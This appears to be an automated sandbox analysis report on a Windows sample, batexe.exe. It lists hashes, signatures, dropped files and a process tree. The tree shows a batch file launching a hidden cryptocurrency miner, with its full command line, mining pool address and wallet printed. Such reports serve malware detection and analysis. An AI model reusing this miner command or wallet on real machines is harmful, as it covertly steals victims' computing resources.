73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
292s
max time network
302s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
23/02/2024, 15:10

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4812	b2e.exe
3336	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3336	cpuminer-sse2.exe
3336	cpuminer-sse2.exe
3336	cpuminer-sse2.exe
3336	cpuminer-sse2.exe
3336	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1032-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1032 wrote to memory of 4812	1032	batexe.exe	73
PID 1032 wrote to memory of 4812	1032	batexe.exe	73
PID 1032 wrote to memory of 4812	1032	batexe.exe	73
PID 4812 wrote to memory of 216	4812	b2e.exe	74
PID 4812 wrote to memory of 216	4812	b2e.exe	74
PID 4812 wrote to memory of 216	4812	b2e.exe	74
PID 216 wrote to memory of 3336	216	cmd.exe	77
PID 216 wrote to memory of 3336	216	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1032
- C:\Users\Admin\AppData\Local\Temp\D810.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\D810.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\D810.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4812
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\DB6C.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:216
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3336

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\D810.tmp\b2e.exe

Filesize
1.2MB

MD5
cbe60b7b5a5a613ff2fe94e0e4f6c4c5

SHA1
fa92879a174aa644dbf4ba359910147caac21c0a

SHA256
a53a092f9713f151e2ea49c72ac3d40d342c5e47bc103ad7d266e8dce9a0b9b0

SHA512
ecfc75429f6b9911a9e5ec8fae000f04bcfa83b3a19a60cc7cd29eb46703d175a15f3418015e40099b15b45168e58983660eccee2ae11b2c38da12ee75ea86d5

Download Submit
C:\Users\Admin\AppData\Local\Temp\D810.tmp\b2e.exe

Filesize
219KB

MD5
badc91b7eca68b72ca30ac88b64faa28

SHA1
37392a53524e97afe577ed150df74b7f84233455

SHA256
8a54b4a23b09a2030af22b0aa7b6574c4e0470facefe6807ad5b22a6c7e4d35b

SHA512
2e9ee17431ea0df4a2d9a16879c2fe09c9a6ea4248bb018f645a9cc9be973b89cf6e07a6d0a97932837bd9760ca5a33268a9cbedfa26112ef72d6de9c10947d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\DB6C.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.1MB

MD5
d6a2651ce86560ec77259efc3df246fa

SHA1
1e72d8e5049a66e1f257d00847fae193c2f8bb02

SHA256
1703f2c16ca81fd8d53d899d0c191db61af986281cdaf3939e9aafcb2aa377a6

SHA512
eece650394d481935c42793702efa7220ae51d92e50dde346b62026d1946418011f665dabe217b6e775b79d65b7580652299a816961a23880abff400ee14201b

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
640KB

MD5
0f6af9e19fa927d88313e98d54420920

SHA1
0aff9c72864126107d6c630aafb9ed6512042afd

SHA256
71661d7077b93e2a5e53d7093e532bec1b66d34e3929bcb314eab7f431b84734

SHA512
bba078e2f4eb5ca45956657356f7419767a81679f34d9991bf28a1d44e412340d1002517f74a15583ffe20b32f1f25b60c47f4581100552dc1e651b3f88547be

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
448KB

MD5
19a61444b6e2d01755ede80960bca19c

SHA1
e0c7222784d3e2b3329ec3280648b17fd60ef209

SHA256
13fd488b38f3b75438e9ad0a033df005cd397f3c92f43275714a0a7eb3fb4db8

SHA512
bc02c82bdac19f10f3e3a93d3f507bb7838c9255b7cff5af6e3a7f3b471dae9c45c52728c3c23857b3402dd1702cb51a20f225a4da992c26a997c26d86b6b1d9

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
512KB

MD5
a3dea3777f14f1235327b648410a9406

SHA1
9ab139a0c947962b3c471c36e8b9cca4d750c889

SHA256
ff432926dd375c44e9a86cc2520c46e66be2d212e35fb73f16ebc4b48b98b6d1

SHA512
b6cacf9e5d8adebdb3c4ae9b6eaddda6a90d9eae32bdc4cf6eb36ad7cf14d02486ac0c32942e3bc504e943a544fa71a6c9e2fec8fb07c456290646107b4edea2

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
576KB

MD5
2caab2ad7ccd18421c96ea2ef5b9e602

SHA1
a629673c12e88ef88f30cbe8da12d3afb9a7d42c

SHA256
c16fbf658c970a716b976abe7c5d9f1b1a42dacd55a43b16fec0ecc6b84f0552

SHA512
aa9692584947d7fdbe843e877430ade40c5b4c6e15887005a292065d6f8e1303abc8dfc2bf50c01fb032bdfeca5bb2aa9312ba44d7ba4e2d3529d07bfd008969

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
640KB

MD5
ac7d1c3bb4d3c69372907331267c1ee7

SHA1
fa82689799785ef9ab4c304b1c1a6d2d9a961928

SHA256
d22689ab67764158df7b19e8d78ec1393899f21e390f469a300975a31106c3aa

SHA512
0d541661060d7c5eed486ea0377142e7d3883b3c0935114679af28bcae0b1767585fe06328955cf59aab4fe3d4acfba525dbc42675fbce80b7d0b2300784d125

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
512KB

MD5
6162b21c54b88c5c990e82aee951ebb4

SHA1
477384ab8ebe5f5a5d5a91603736d9ef53c12fd4

SHA256
462eb68967c7205145d0b92e4f3b69297f616187b07a189178f35f288063aff4

SHA512
6264ee49c4b8a6eaa69241e10ff9ab39445f85a57b756b8bc0530b45d77827d05e669dc06b689d4693db34e4161ef11b2cfe6f1954b0b90bcd434e81a938a40d

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
320KB

MD5
e748e3357af6e4674ff8962691273b0d

SHA1
0acfc30d68a1ef7c6790a79270864448f70f0aa8

SHA256
84ff770c784909548dbca7bd2a24c8e82338b142f2d4893023e25c52f70e8d14

SHA512
0bd15154698983c85b46810d8fef9092f4d0725882421d6db61f168873af967808c467b924dcb8ee72aaad6e10202edab14916580fc442e14b9d8c85f9d07dcc

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
294KB

MD5
be96f8f91fba5d23b6f84e660e692e72

SHA1
807feed8b41e4f29028667f70805e2e7b84a28a7

SHA256
64d6f11d9c21ccb22bf8017a39289bedc9f89150334220ddf4aac988e3701bf9

SHA512
e639f919c15acc1947fadabcaf3c5b2411be36eb15b56cb63633277db91675c3f80eba60e11af1b49115f0332967aadeee58f4880d5629d570c2e49d8537858d

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
512KB

MD5
5fd46a66845c804b88dcd97ffcd66652

SHA1
9556ce5607bdd245c8e4d6a24b8217def653f57b

SHA256
b7fd85a2268a4d62fa15fde3d9e51d6fa3bc865cb4d8e5fdca309be7b027f193

SHA512
0896697d588401a6d29c30e77574ece4f0ba699b082b1bad93964748313a5903eb4994ec81c61bfcbd75f2be3f5200dadda3fd1454381cc5874a9c8952ebeedc

Download Submit
memory/1032-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3336-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3336-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3336-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3336-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3336-42-0x0000000072FF0000-0x0000000073088000-memory.dmp

Filesize
608KB

Download
memory/3336-44-0x0000000001060000-0x0000000002915000-memory.dmp

Filesize
24.7MB

Download
memory/3336-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3336-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3336-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3336-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3336-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3336-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3336-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3336-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3336-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3336-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4812-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4812-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download